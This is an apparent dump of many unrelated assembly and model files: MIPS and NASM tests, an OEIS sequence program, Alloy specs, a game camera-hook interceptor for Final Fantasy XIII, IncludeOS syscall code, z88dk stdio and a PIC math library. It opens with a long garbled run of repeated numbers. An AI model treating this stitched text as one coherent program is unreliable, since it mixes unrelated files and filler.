58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58
*/
|
asm/instr_test.asm
|
stfnwong/smips
| 0 |
175798
|
# INSTR TEST
# All instructions supported by assembler in various combinations
.data
ten: .word 10
.text
; LOAD UPPER IMMEDIATE
lui $t0 ten # load address at 'ten' into $t0
lui $at 4096 # use temp register
#lui $5 5 # at the time of writing this comment we don't support direct mapping
|
programs/oeis/213/A213782.asm
|
jmorken/loda
| 1 |
15343
|
<filename>programs/oeis/213/A213782.asm
; A213782: Principal diagonal of the convolution array A213781.
; 1,7,19,41,72,118,176,254,347,465,601,767,954,1176,1422,1708,2021,2379,2767,3205,3676,4202,4764,5386,6047,6773,7541,8379,9262,10220,11226,12312,13449,14671,15947,17313,18736,20254,21832,23510,25251,27097,29009,31031,33122,35328,37606,40004,42477,45075,47751,50557,53444,56466,59572,62818,66151,69629,73197,76915,80726,84692,88754,92976,97297,101783,106371,111129,115992,121030,126176,131502,136939,142561,148297,154223,160266,166504,172862,179420,186101,192987,199999,207221,214572,222138,229836,237754,245807,254085,262501,271147,279934,288956,298122,307528,317081,326879,336827,347025,357376,367982,378744,389766,400947,412393,424001,435879,447922,460240,472726,485492,498429,511651,525047,538733,552596,566754,581092,595730,610551,625677,640989,656611,672422,688548,704866,721504,738337,755495,772851,790537,808424,826646,845072,863838,882811,902129,921657,941535,961626,982072,1002734,1023756,1044997,1066603,1088431,1110629,1133052,1155850,1178876,1202282,1225919,1249941,1274197,1298843,1323726,1349004,1374522,1400440,1426601,1453167,1479979,1507201,1534672,1562558,1590696,1619254,1648067,1677305,1706801,1736727,1766914,1797536,1828422,1859748,1891341,1923379,1955687,1988445,2021476,2054962,2088724,2122946,2157447,2192413,2227661,2263379,2299382,2335860,2372626,2409872,2447409,2485431,2523747,2562553,2601656,2641254,2681152,2721550,2762251,2803457,2844969,2886991,2929322,2972168,3015326,3059004,3102997,3147515,3192351,3237717,3283404,3329626,3376172,3423258,3470671,3518629,3566917,3615755,3664926,3714652,3764714,3815336,3866297,3917823,3969691,4022129,4074912,4128270,4181976,4236262,4290899,4346121,4401697,4457863,4514386,4571504,4628982,4687060,4745501,4804547,4863959,4923981,4984372,5045378,5106756,5168754,5231127,5294125
mov $16,$0
mov $18,$0
add $18,1
lpb $18
clr $0,16
mov $0,$16
sub $18,1
sub $0,$18
mov $13,$0
mov $15,$0
add $15,1
lpb $15
mov $0,$13
sub $15,1
sub $0,$15
mov $9,$0
mov $11,2
lpb $11
mov $0,$9
sub $11,1
add $0,$11
sub $0,1
mov $1,$0
mov $7,$0
add $7,5
mov $8,$0
lpb $0
gcd $7,2
add $7,$1
add $7,2
trn $1,$7
add $1,3
add $4,1
sub $0,$4
trn $0,1
add $1,1
sub $7,2
add $7,$8
add $7,$1
mul $8,$7
lpe
mov $1,$8
mov $12,$11
lpb $12
mov $10,$1
sub $12,1
lpe
lpe
lpb $9
mov $9,0
sub $10,$1
lpe
mov $1,$10
div $1,2
add $1,1
add $14,$1
lpe
add $17,$14
lpe
mov $1,$17
|
electrum/src/main/resources/models/book/chapter6/memory/cacheMemory.als
|
haslab/Electrum
| 29 |
5043
|
module chapter6/memory/cacheMemory [Addr, Data] ----- the model from page 219
sig CacheSystem {
main, cache: Addr -> lone Data
}
pred init [c: CacheSystem] {
no c.main + c.cache
}
pred write [c, c1: CacheSystem, a: Addr, d: Data] {
c1.main = c.main
c1.cache = c.cache ++ a -> d
}
pred read [c: CacheSystem, a: Addr, d: Data] {
some d
d = c.cache [a]
}
pred load [c, c1: CacheSystem] {
some addrs: set c.main.Data - c.cache.Data |
c1.cache = c.cache ++ addrs <: c.main
c1.main = c.main
}
pred flush [c, c1: CacheSystem] {
some addrs: some c.cache.Data {
c1.main = c.main ++ addrs <: c.cache
c1.cache = c.cache - addrs -> Data
}
}
// This command should not find any counterexample
LoadNotObservable: check {
all c, c1, c": CacheSystem, a1, a2: Addr, d1, d2, d3: Data |
{
read [c, a2, d2]
write [c, c1, a1, d1]
load [c1, c"]
read [c", a2, d3]
} implies d3 = (a1=a2 => d1 else d2)
}
|
Cameras/FFXIII/InjectableGenericCameraSystem/Interceptor.asm
|
ghostinthecamera/IGCS-GITC
| 42 |
240926
|
<reponame>ghostinthecamera/IGCS-GITC
;////////////////////////////////////////////////////////////////////////////////////////////////////////
;// Part of Injectable Generic Camera System
;// Copyright(c) 2017, <NAME>
;// All rights reserved.
;// https://github.com/FransBouma/InjectableGenericCameraSystem
;//
;// Redistribution and use in source and binary forms, with or without
;// modification, are permitted provided that the following conditions are met :
;//
;// * Redistributions of source code must retain the above copyright notice, this
;// list of conditions and the following disclaimer.
;//
;// * Redistributions in binary form must reproduce the above copyright notice,
;// this list of conditions and the following disclaimer in the documentation
;// and / or other materials provided with the distribution.
;//
;// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
;// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
;// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
;// DISCLAIMED.IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
;// FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
;// DAMAGES(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
;// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
;// CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
;// OR TORT(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
;// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
;////////////////////////////////////////////////////////////////////////////////////////////////////////
;---------------------------------------------------------------
; Game specific asm file to intercept execution flow to obtain addresses, prevent writes etc.
;---------------------------------------------------------------
.model flat,C
.stack 4096
;---------------------------------------------------------------
; Public definitions so the linker knows which names are present in this file
PUBLIC cameraStructInterceptor
PUBLIC DOFinterceptor
PUBLIC ARread
PUBLIC BLOOMinterceptor
;---------------------------------------------------------------
;---------------------------------------------------------------
; Externs which are used and set by the system. Read / write these
; values in asm to communicate with the system
EXTERN g_cameraEnabled: byte
EXTERN g_cameraStructAddress: dword
EXTERN g_dofstructaddress: dword
EXTERN g_ARvalueaddress: dword
EXTERN g_bloomstructaddress: dword
;---------------------------------------------------------------
;---------------------------------------------------------------
; Own externs, defined in InterceptorHelper.cpp
EXTERN _cameraStructInterceptionContinue: dword
EXTERN _dofstructInterceptionContinue: dword
EXTERN _ARInterceptionContinue: dword
EXTERN _bloomstructinterceptionContinue: dword
.data
.code
cameraStructInterceptor PROC
;ffxiiiimg.exe+A7C691 - 8B EC - mov ebp,esp
;ffxiiiimg.exe+A7C693 - 83 EC 14 - sub esp,14 { 20 }
;ffxiiiimg.exe+A7C696 - 89 4D EC - mov [ebp-14],ecx
;ffxiiiimg.exe+A7C699 - 8B 45 EC - mov eax,[ebp-14]
;ffxiiiimg.exe+A7C69C - 83 C0 08 - add eax,08 { 8 }
;ffxiiiimg.exe+A7C69F - 89 45 F0 - mov [ebp-10],eax
;ffxiiiimg.exe+A7C6A2 - 8B 4D 08 - mov ecx,[ebp+08]
;ffxiiiimg.exe+A7C6A5 - 8B 55 F0 - mov edx,[ebp-10]
;ffxiiiimg.exe+A7C6A8 - 8B 01 - mov eax,[ecx] <<<inject here
;ffxiiiimg.exe+A7C6AA - 89 02 - mov [edx],eax <<<<row 1 write
;ffxiiiimg.exe+A7C6AC - 8B 41 04 - mov eax,[ecx+04]
;ffxiiiimg.exe+A7C6AF - 89 42 04 - mov [edx+04],eax <<<<row 1 second value write
;ffxiiiimg.exe+A7C6B2 - 8B 41 08 - mov eax,[ecx+08]
;ffxiiiimg.exe+A7C6B5 - 89 42 08 - mov [edx+08],eax <<<row 1 second value write
;ffxiiiimg.exe+A7C6B8 - 8B 49 0C - mov ecx,[ecx+0C]
;ffxiiiimg.exe+A7C6BB - 89 4A 0C - mov [edx+0C],ecx
;ffxiiiimg.exe+A7C6BE - 8B 55 F0 - mov edx,[ebp-10]
;ffxiiiimg.exe+A7C6C1 - 83 C2 10 - add edx,10 { 16 }
;ffxiiiimg.exe+A7C6C4 - 89 55 FC - mov [ebp-04],edx
;ffxiiiimg.exe+A7C6C7 - 8B 45 08 - mov eax,[ebp+08]
;ffxiiiimg.exe+A7C6CA - 83 C0 10 - add eax,10 { 16 }
;ffxiiiimg.exe+A7C6CD - 8B 4D FC - mov ecx,[ebp-04]
;ffxiiiimg.exe+A7C6D0 - 8B 10 - mov edx,[eax]
;ffxiiiimg.exe+A7C6D2 - 89 11 - mov [ecx],edx <<<<row 2 first write
;ffxiiiimg.exe+A7C6D4 - 8B 50 04 - mov edx,[eax+04]
;ffxiiiimg.exe+A7C6D7 - 89 51 04 - mov [ecx+04],edx <<<<row 2 second write
;ffxiiiimg.exe+A7C6DA - 8B 50 08 - mov edx,[eax+08]
;ffxiiiimg.exe+A7C6DD - 89 51 08 - mov [ecx+08],edx <<<row 2 third write
;ffxiiiimg.exe+A7C6E0 - 8B 40 0C - mov eax,[eax+0C]
;ffxiiiimg.exe+A7C6E3 - 89 41 0C - mov [ecx+0C],eax
;ffxiiiimg.exe+A7C6E6 - 8B 4D F0 - mov ecx,[ebp-10]
;ffxiiiimg.exe+A7C6E9 - 83 C1 20 - add ecx,20 { 32 }
;ffxiiiimg.exe+A7C6EC - 89 4D F8 - mov [ebp-08],ecx
;ffxiiiimg.exe+A7C6EF - 8B 55 08 - mov edx,[ebp+08]
;ffxiiiimg.exe+A7C6F2 - 83 C2 20 - add edx,20 { 32 }
;ffxiiiimg.exe+A7C6F5 - 8B 45 F8 - mov eax,[ebp-08]
;ffxiiiimg.exe+A7C6F8 - 8B 0A - mov ecx,[edx]
;ffxiiiimg.exe+A7C6FA - 89 08 - mov [eax],ecx <<<<row 3 first write
;ffxiiiimg.exe+A7C6FC - 8B 4A 04 - mov ecx,[edx+04]
;ffxiiiimg.exe+A7C6FF - 89 48 04 - mov [eax+04],ecx <<<row 3 second write
;ffxiiiimg.exe+A7C702 - 8B 4A 08 - mov ecx,[edx+08]
;ffxiiiimg.exe+A7C705 - 89 48 08 - mov [eax+08],ecx <<<row 3 third write
;ffxiiiimg.exe+A7C708 - 8B 52 0C - mov edx,[edx+0C]
;ffxiiiimg.exe+A7C70B - 89 50 0C - mov [eax+0C],edx
;ffxiiiimg.exe+A7C70E - 8B 45 F0 - mov eax,[ebp-10]
;ffxiiiimg.exe+A7C711 - 83 C0 30 - add eax,30 { 48 }
;ffxiiiimg.exe+A7C714 - 89 45 F4 - mov [ebp-0C],eax
;ffxiiiimg.exe+A7C717 - 8B 4D 08 - mov ecx,[ebp+08]
;ffxiiiimg.exe+A7C71A - 83 C1 30 - add ecx,30 { 48 }
;ffxiiiimg.exe+A7C71D - 8B 55 F4 - mov edx,[ebp-0C]
;ffxiiiimg.exe+A7C720 - 8B 01 - mov eax,[ecx]
;ffxiiiimg.exe+A7C722 - 89 02 - mov [edx],eax <<<<coords x write
;ffxiiiimg.exe+A7C724 - 8B 41 04 - mov eax,[ecx+04]
;ffxiiiimg.exe+A7C727 - 89 42 04 - mov [edx+04],eax <<<<cords y write
;ffxiiiimg.exe+A7C72A - 8B 41 08 - mov eax,[ecx+08]
;ffxiiiimg.exe+A7C72D - 89 42 08 - mov [edx+08],eax <<<<coords z write
;ffxiiiimg.exe+A7C730 - 8B 49 0C - mov ecx,[ecx+0C]
;ffxiiiimg.exe+A7C733 - 89 4A 0C - mov [edx+0C],ecx
mov [g_cameraStructAddress], edx
cmp byte ptr [g_cameraEnabled], 1
je writeSkip
mov eax,[ecx]
mov [edx],eax
mov eax,[ecx+04h]
mov [edx+04h],eax
mov eax,[ecx+08h]
mov [edx+08h],eax
mov ecx,[ecx+0Ch]
mov [edx+0Ch],ecx
mov edx,[ebp-10h]
add edx,10h
mov [ebp-04h],edx
mov eax,[ebp+08h]
add eax,10h
mov ecx,[ebp-04h]
mov edx,[eax]
mov [ecx],edx
mov edx,[eax+04h]
mov [ecx+04h],edx
mov edx,[eax+08h]
mov [ecx+08h],edx
mov eax,[eax+0Ch]
mov [ecx+0Ch],eax
mov ecx,[ebp-10h]
add ecx,20h
mov [ebp-08h],ecx
mov edx,[ebp+08h]
add edx,20h
mov eax,[ebp-08h]
mov ecx,[edx]
mov [eax],ecx
mov ecx,[edx+04h]
mov [eax+04h],ecx
mov ecx,[edx+08h]
mov [eax+08h],ecx
mov edx,[edx+0Ch]
mov [eax+0Ch],edx
mov eax,[ebp-10h]
add eax,30h
mov [ebp-0Ch],eax
mov ecx,[ebp+08h]
add ecx,30h
mov edx,[ebp-0Ch]
mov eax,[ecx]
mov [edx],eax
mov eax,[ecx+04h]
mov [edx+04h],eax
mov eax,[ecx+08h]
mov [edx+08h],eax
mov ecx,[ecx+0Ch]
mov [edx+0Ch],ecx
jmp exit
writeSkip:
mov eax,[ecx]
;mov [edx],eax
mov eax,[ecx+04h]
;mov [edx+04h],eax
mov eax,[ecx+08h]
;mov [edx+08h],eax
mov ecx,[ecx+0Ch]
mov [edx+0Ch],ecx
mov edx,[ebp-10h]
add edx,10h
mov [ebp-04h],edx
mov eax,[ebp+08h]
add eax,10h
mov ecx,[ebp-04h]
mov edx,[eax]
;mov [ecx],edx
mov edx,[eax+04h]
;mov [ecx+04h],edx
mov edx,[eax+08h]
;mov [ecx+08h],edx
mov eax,[eax+0Ch]
mov [ecx+0Ch],eax
mov ecx,[ebp-10h]
add ecx,20h
mov [ebp-08h],ecx
mov edx,[ebp+08h]
add edx,20h
mov eax,[ebp-08h]
mov ecx,[edx]
;mov [eax],ecx
mov ecx,[edx+04h]
;mov [eax+04h],ecx
mov ecx,[edx+08h]
;mov [eax+08h],ecx
mov edx,[edx+0Ch]
mov [eax+0Ch],edx
mov eax,[ebp-10h]
add eax,30h
mov [ebp-0Ch],eax
mov ecx,[ebp+08h]
add ecx,30h
mov edx,[ebp-0Ch]
mov eax,[ecx]
;mov [edx],eax
mov eax,[ecx+04h]
;mov [edx+04h],eax
mov eax,[ecx+08h]
;mov [edx+08h],eax
mov ecx,[ecx+0Ch]
mov [edx+0Ch],ecx
exit:
jmp dword ptr [_cameraStructInterceptionContinue] ; jmp back into the original game code, which is the location after the original statements above.
cameraStructInterceptor ENDP
DOFinterceptor PROC
;ffxiiiimg.exe+B1E94F - F3 0F10 40 28 - movss xmm0,[eax+28]
;ffxiiiimg.exe+B1E954 - F3 0F5C 41 2C - subss xmm0,[ecx+2C]
;ffxiiiimg.exe+B1E959 - 8B 55 C0 - mov edx,[ebp-40]
;ffxiiiimg.exe+B1E95C - F3 0F11 42 40 - movss [edx+40],xmm0 <<<inject here - edx contains the dof struct so we need to get this
;ffxiiiimg.exe+B1E961 - 8B 45 C0 - mov eax,[ebp-40]
;ffxiiiimg.exe+B1E964 - 8B 4D C0 - mov ecx,[ebp-40]
;ffxiiiimg.exe+B1E967 - F3 0F10 40 28 - movss xmm0,[eax+28]
;ffxiiiimg.exe+B1E96C - F3 0F58 41 30 - addss xmm0,[ecx+30] <<<<return here
mov [g_dofstructaddress],edx
movss dword ptr [edx+40h],xmm0
mov eax,[ebp-40h]
mov ecx,[ebp-40h]
movss xmm0, dword ptr[eax+28h]
exit:
jmp dword ptr [_dofstructInterceptionContinue]
DOFinterceptor ENDP
ARread PROC
;ffxiiiimg.exe+228A5A - F3 0F11 84 24 88010000 - movss [esp+00000188],xmm0
;ffxiiiimg.exe+228A63 - 6A 01 - push 01 { 1 }
;ffxiiiimg.exe+228A65 - 8B 8C 24 74030000 - mov ecx,[esp+00000374]
;ffxiiiimg.exe+228A6C - 51 - push ecx
;ffxiiiimg.exe+228A6D - D9 81 FC030000 - fld dword ptr [ecx+000003FC] <<<intercept here - this is the AR Read
;ffxiiiimg.exe+228A73 - D9 1C 24 - fstp dword ptr [esp]
;ffxiiiimg.exe+228A76 - F3 0F10 84 24 8C010000 - movss xmm0,[esp+0000018C] <<< return after this
mov [g_ARvalueaddress],ecx
fld dword ptr [ecx+000003FCh]
fstp dword ptr [esp]
movss xmm0,dword ptr [esp+0000018Ch]
exit:
jmp dword ptr [_ARInterceptionContinue]
ARread ENDP
BLOOMinterceptor PROC
;"ffxiiiimg.exe"+B67A30: 55 - push ebp
;"ffxiiiimg.exe"+B67A31: 8B EC - mov ebp,esp
;"ffxiiiimg.exe"+B67A33: 81 EC 1C 01 00 00 - sub esp,0000011C
;"ffxiiiimg.exe"+B67A39: 89 8D E4 FE FF FF - mov [ebp-0000011C],ecx <<inject here
;"ffxiiiimg.exe"+B67A3F: 8B 85 E4 FE FF FF - mov eax,[ebp-0000011C]
;"ffxiiiimg.exe"+B67A45: F3 0F 10 40 10 - movss xmm0,[eax+10] <<<eax has the bloom
;"ffxiiiimg.exe"+B67A4A: F3 0F 59 05 40 0D 0A 01 - mulss xmm0,[ffxiiiimg.exe+CA0D40] <<<return here
;"ffxiiiimg.exe"+B67A52: F3 0F 11 45 F8 - movss [ebp-08],xmm0
;"ffxiiiimg.exe"+B67A57: 8B 8D E4 FE FF FF - mov ecx,[ebp-0000011C]
;"ffxiiiimg.exe"+B67A5D: 8B 91 1C 01 00 00 - mov edx,[ecx+0000011C]
;"ffxiiiimg.exe"+B67A63: 89 55 B0 - mov [ebp-50],edx
mov [ebp-0000011Ch],ecx
mov eax,[ebp-0000011Ch]
mov [g_bloomstructaddress],eax
movss xmm0,dword ptr [eax+10h]
exit:
jmp dword ptr [_bloomstructinterceptionContinue]
BLOOMinterceptor ENDP
END
|
alloy4fun_models/trashltl/models/13/y6m4nbokKECugXfFx.als
|
Kaixi26/org.alloytools.alloy
| 0 |
3838
|
<gh_stars>0
open main
pred idy6m4nbokKECugXfFx_prop14 {
always ((Protected & Trash) not in Protected')
}
pred __repair { idy6m4nbokKECugXfFx_prop14 }
check __repair { idy6m4nbokKECugXfFx_prop14 <=> prop14o }
|
src/arch/x86_64/__syscall_entry.asm
|
dendisuhubdy/IncludeOS
| 3,673 |
82561
|
global __syscall_entry:function
global __clone_helper:function
global __clone_return:function
global __migrate_resume:function
extern syscall_entry
;; x86_64 / System V ABI calling convention
%define arg1 rdi
%define arg2 rsi
%define arg3 rdx
%define arg4 rcx
%define arg5 r8
%define arg6 r9
%macro PUSHAQ 0
;;push rax
push rcx
push rdx
push rdi
push rsi
push r8
push r9
push r10
push r11
;; extra
push rbx
push rbp
push r12
push r13
push r14
push r15
%endmacro
%macro POPAQ 0
pop r15
pop r14
pop r13
pop r12
pop rbp
pop rbx
;; ^ extra
pop r11
pop r10
pop r9
pop r8
pop rsi
pop rdi
pop rdx
pop rcx
;;pop rax
%endmacro
SECTION .text
__syscall_entry:
;; clone syscall
cmp rax, 56
je __clone_helper
;; store return address
push rcx
;; Convert back from syscall conventions
;; Last param on stack movq 8(rsp),r9
mov r9, r8
mov r8, r10
mov rcx, rdx
mov rdx, rsi
mov rsi, rdi
mov rdi, rax
call syscall_entry
;; return to rcx
pop rcx
jmp QWORD rcx
__clone_helper:
PUSHAQ
sub rsp, 0x8 ;; alignment
;; R13: thread callback
push r9
;; R12: old stack
push rsp
;; r11: temp nexti
mov r11, rcx
;; R9: TLS data
mov r9, r8
;; R8: void* ctid
mov r8, r10
;; RCX: void* ptid
mov rcx, rdx
;; RDX: void* stack
mov rdx, rsi
;; RSI: unsigned long flags
mov rsi, rdi
;; RDI: next instruction
mov rdi, r11
;; call clone so that kernel can create the thread data
extern syscall_clone
call syscall_clone
;; remove old rsp
add rsp, 0x18
__clone_resume:
;; return value preserved
POPAQ
PUSHAQ
push rbp
push rax ;; store thread id
;; switch stack
mov rsp, rsi
;; zero return value
xor rax, rax
;; return back
jmp QWORD rcx
__clone_return:
mov rsp, rdi
pop rax ;; restore thread id
pop rbp
POPAQ
;;
jmp QWORD rcx
__migrate_resume:
mov rsp, rdi
;; restore saved registers
POPAQ
;; rax zero (child thread)
xor rax, rax
jmp QWORD rcx
|
test/sha-64.asm
|
bitwiseworks/nasm-os2
| 1 |
166018
|
;Testname=sha-64; Arguments=-felf64 -osha-64.o -O0; Files=stdout stderr sha-64.o
BITS 64
sha1rnds4 xmm1, xmm2, 9
sha1rnds4 xmm2, [rax], 7
sha1rnds4 xmm3, [rax+0x12], 5
sha1rnds4 xmm4, [rax+rbx*2], 1
sha1nexte xmm1, xmm2
sha1nexte xmm2, [rax]
sha1nexte xmm3, [rax+0x12]
sha1nexte xmm4, [rax+rbx*2]
sha1msg1 xmm1, xmm2
sha1msg1 xmm2, [rax]
sha1msg1 xmm3, [rax+0x12]
sha1msg1 xmm4, [rax+rbx*2]
sha1msg2 xmm1, xmm2
sha1msg2 xmm2, [rax]
sha1msg2 xmm3, [rax+0x12]
sha1msg2 xmm4, [rax+rbx*2]
sha256rnds2 xmm1, xmm2, xmm0
sha256rnds2 xmm2, [rax], xmm0
sha256rnds2 xmm3, [rax+0x12], xmm0
sha256rnds2 xmm4, [rax+rbx*2], xmm0
sha256msg1 xmm1, xmm2
sha256msg1 xmm2, [rax]
sha256msg1 xmm3, [rax+0x12]
sha256msg1 xmm4, [rax+rbx*2]
sha256msg2 xmm1, xmm2
sha256msg2 xmm2, [rax]
sha256msg2 xmm3, [rax+0x12]
sha256msg2 xmm4, [rax+rbx*2]
|
libsrc/_DEVELOPMENT/stdio/z80/asm_snprintf.asm
|
meesokim/z88dk
| 0 |
171232
|
<filename>libsrc/_DEVELOPMENT/stdio/z80/asm_snprintf.asm
; ===============================================================
; Jan 2014
; ===============================================================
;
; int snprintf(char *s, size_t n, const char *format, ...)
;
; As fprintf but output is directed to a string.
;
; ===============================================================
SECTION code_stdio
PUBLIC asm_snprintf
EXTERN asm_vsnprintf, __stdio_varg_2, __stdio_nextarg_de
asm_snprintf:
; MUST BE CALLED, NO JUMPS
;
; enter : none
;
; exit : de = char *format (next unexamined char)
; hl' = char *s (address of terminating '\0')
; bc' = space remaining in s
;
; success
;
; hl = number of chars output to string not including '\0'
; carry reset
;
; fail
;
; hl = - (chars output + 1) < 0
; carry set, errno set as below
;
; erange = width or precision out of range
; einval = unknown printf conversion
;
; uses : all
call __stdio_varg_2
push de ; save char *s
call __stdio_nextarg_de
push de ; save size_t n
exx
pop bc
pop de
exx
call __stdio_nextarg_de ; de = char *format
ld c,l
ld b,h ; bc = void *arg
jp asm_vsnprintf
|
oeis/142/A142113.asm
|
neoneye/loda-programs
| 11 |
89046
|
; A142113: Primes congruent to 4 mod 37.
; Submitted by <NAME>
; 41,263,337,929,1151,1373,1447,1669,2039,2113,2557,2927,3001,3371,3593,3889,4111,4259,4481,4703,4999,5147,5443,5591,5813,6257,6553,6701,6997,7219,7589,8329,8699,9439,9587,9661,9883,10253,10771,10993,11437,11807,12251,12473,12547,12917,13879,14249,14323,14767,15137,15359,15581,15803,15877,16691,16987,17209,17431,17579,18097,18541,18911,19207,19429,19577,20021,20983,21649,21871,22093,22907,23203,23869,24091,24239,24683,24979,25127,25349,25423,25793,25867,26237,26459,26681,26903,27791,28087,28309
mov $2,$0
add $2,2
pow $2,2
lpb $2
mul $1,$4
mov $3,$1
add $1,9
add $3,40
seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0.
sub $0,$3
add $1,65
sub $2,1
mov $4,$0
max $4,0
cmp $4,$0
mul $2,$4
lpe
mov $0,$1
sub $0,33
|
programs/oeis/059/A059834.asm
|
neoneye/loda
| 22 |
21518
|
; A059834: Sum of squares of entries of Wilkinson's eigenvalue test matrix of order 2n+1.
; 0,6,18,40,76,130,206,308,440,606,810,1056,1348,1690,2086,2540,3056,3638,4290,5016,5820,6706,7678,8740,9896,11150,12506,13968,15540,17226,19030,20956,23008,25190,27506,29960,32556,35298,38190,41236,44440
mov $2,2
lpb $0
add $2,$0
sub $0,1
add $1,$2
lpe
mul $1,2
mov $0,$1
|
test/Succeed/NoQualifiedInstances-AnonymousInstance.agda
|
cruhland/agda
| 1,989 |
16745
|
{-# OPTIONS --no-qualified-instances #-}
module NoQualifiedInstances-AnonymousInstance where
postulate
A : Set
f : {{A}} → A
postulate instance _ : A
test : A
test = f
|
ac32.asm
|
magore/picfloat
| 1 |
161016
|
<filename>ac32.asm
;File: ac32.asm
; ========================================================================
; PIC Floating point library
; ========================================================================
; Copyright (C) 1991,1997,1998,1999,2000,2001,2002,2003 <NAME>
; All rights reserved.
;
; Redistribution and use in source and binary forms, with or without
; modification, are permitted provided that the following conditions are met:
;
; * Redistributions of source code must retain the above copyright notice,
; this list of conditions and the following disclaimer.
; * Redistributions in binary form must reproduce the above copyright notice,
; this list of conditions and the following disclaimer in the documentation
; and/or other materials provided with the distribution.
; * Neither the name of the <ORGANIZATION> nor the names of its contributors
; may be used to endorse or promote products derived from this software
; without specific prior written permission.
;
; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
; ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
; LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
; CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
; SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
; INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
; CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
; ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
; POSSIBILITY OF SUCH DAMAGE
;
; Contact Information
; <NAME>
; Infowrite Consulting
; 405 Midwood Cres.
; Waterloo Ont
; N2L 5N4
; Phone: 519-884-4943 home
; Fax: 519-885-0548 fax
; Email: <EMAIL> - or - <EMAIL>
; ========================================================================
; ========================================================================
; ***** Please Use TABS = 4 when viewing this file ****
; ========================================================================
; =========================================================================
; AC32 Subroutines go here
;
; We build on macro.h to make common macros for our 32bit accumulator machine
;
; Almost all of of the macros here work on AC32 , while ARG32 and TMP32
; have only a few entries. The idea is reduce the ammount of code
; used as much as possible. So, having subroutines only makes sense if
; they are called more then once!
;
; =========================================================================
#ifndef AC32_ASM
#define AC32_ASM
; INCLUDE "macro.h"
; INCLUDE "ac32.h"
; INCLUDE "mem.h"
; ==================================================================================
; =========================================================================
; LOAD/STORE subroutines for AC32,ARG32,TMP32
_AC32_LOAD: ; Load AC32 = (W)
movwf mem_from
LOAD8I mem_to,AC32
JMP MEM_MOV4
_ARG32_LOAD: ; Load ARG32 = (W)
movwf mem_from
LOAD8I mem_to,ARG32
JMP MEM_MOV4
_TMP32_LOAD: ; Load TMP32 = (W)
movwf mem_from
LOAD8I mem_to,TMP32
JMP MEM_MOV4
_AC32_STORE: ; Store (W) = AC32
movwf mem_to
LOAD8I mem_from,AC32
JMP MEM_MOV4
_ARG32_STORE: ; Store (W) = ARG32
movwf mem_to
LOAD8I mem_from,ARG32
JMP MEM_MOV4
_TMP32_STORE: ; Store (W) = TMP32
movwf mem_to
LOAD8I mem_from,TMP32
JMP MEM_MOV4
; =========================================================================
; Subroutines: Unary operations on AC32 only
;
